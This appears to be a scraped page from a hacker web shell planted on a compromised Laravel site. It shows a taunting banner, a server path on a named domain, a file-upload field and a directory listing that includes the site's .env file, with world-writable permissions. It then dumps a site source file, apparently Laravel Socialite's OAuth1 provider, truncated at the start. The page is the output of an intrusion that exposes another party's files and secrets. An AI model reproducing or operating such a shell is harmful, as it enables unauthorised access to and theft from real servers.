I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
server = $server; $this->request = $request; } /** * Redirect the user to the authentication page for the provider. * * @return \Illuminate\Http\RedirectResponse */ public function redirect() { $this->request->session()->put( 'oauth.temp', $temp = $this->server->getTemporaryCredentials() ); return new RedirectResponse($this->server->getAuthorizationUrl($temp)); } /** * Get the User instance for the authenticated user. * * @return \Laravel\Socialite\One\User * * @throws \Laravel\Socialite\One\MissingVerifierException */ public function user() { if (! $this->hasNecessaryVerifier()) { throw new MissingVerifierException('Invalid request. Missing OAuth verifier.'); } $token = $this->getToken(); $user = $this->server->getUserDetails( $token, $this->shouldBypassCache($token->getIdentifier(), $token->getSecret()) ); $instance = (new User)->setRaw($user->extra) ->setToken($token->getIdentifier(), $token->getSecret()); return $instance->map([ 'id' => $user->uid, 'nickname' => $user->nickname, 'name' => $user->name, 'email' => $user->email, 'avatar' => $user->imageUrl, ]); } /** * Get a Social User instance from a known access token and secret. * * @param string $token * @param string $secret * @return \Laravel\Socialite\One\User */ public function userFromTokenAndSecret($token, $secret) { $tokenCredentials = new TokenCredentials(); $tokenCredentials->setIdentifier($token); $tokenCredentials->setSecret($secret); $user = $this->server->getUserDetails( $tokenCredentials, $this->shouldBypassCache($token, $secret) ); $instance = (new User)->setRaw($user->extra) ->setToken($tokenCredentials->getIdentifier(), $tokenCredentials->getSecret()); return $instance->map([ 'id' => $user->uid, 'nickname' => $user->nickname, 'name' => $user->name, 'email' => $user->email, 'avatar' => $user->imageUrl, ]); } /** * Get the token credentials for the request. * * @return \League\OAuth1\Client\Credentials\TokenCredentials */ protected function getToken() { $temp = $this->request->session()->get('oauth.temp'); if (! $temp) { throw new MissingTemporaryCredentialsException('Missing temporary OAuth credentials.'); } return $this->server->getTokenCredentials( $temp, $this->request->get('oauth_token'), $this->request->get('oauth_verifier') ); } /** * Determine if the request has the necessary OAuth verifier. * * @return bool */ protected function hasNecessaryVerifier() { return $this->request->has(['oauth_token', 'oauth_verifier']); } /** * Determine if the user information cache should be bypassed. * * @param string $token * @param string $secret * @return bool */ protected function shouldBypassCache($token, $secret) { $newHash = sha1($token.'_'.$secret); if (! empty($this->userHash) && $newHash !== $this->userHash) { $this->userHash = $newHash; return true; } $this->userHash = $this->userHash ?: $newHash; return false; } /** * Set the request instance. * * @param \Illuminate\Http\Request $request * @return $this */ public function setRequest(Request $request) { $this->request = $request; return $this; } }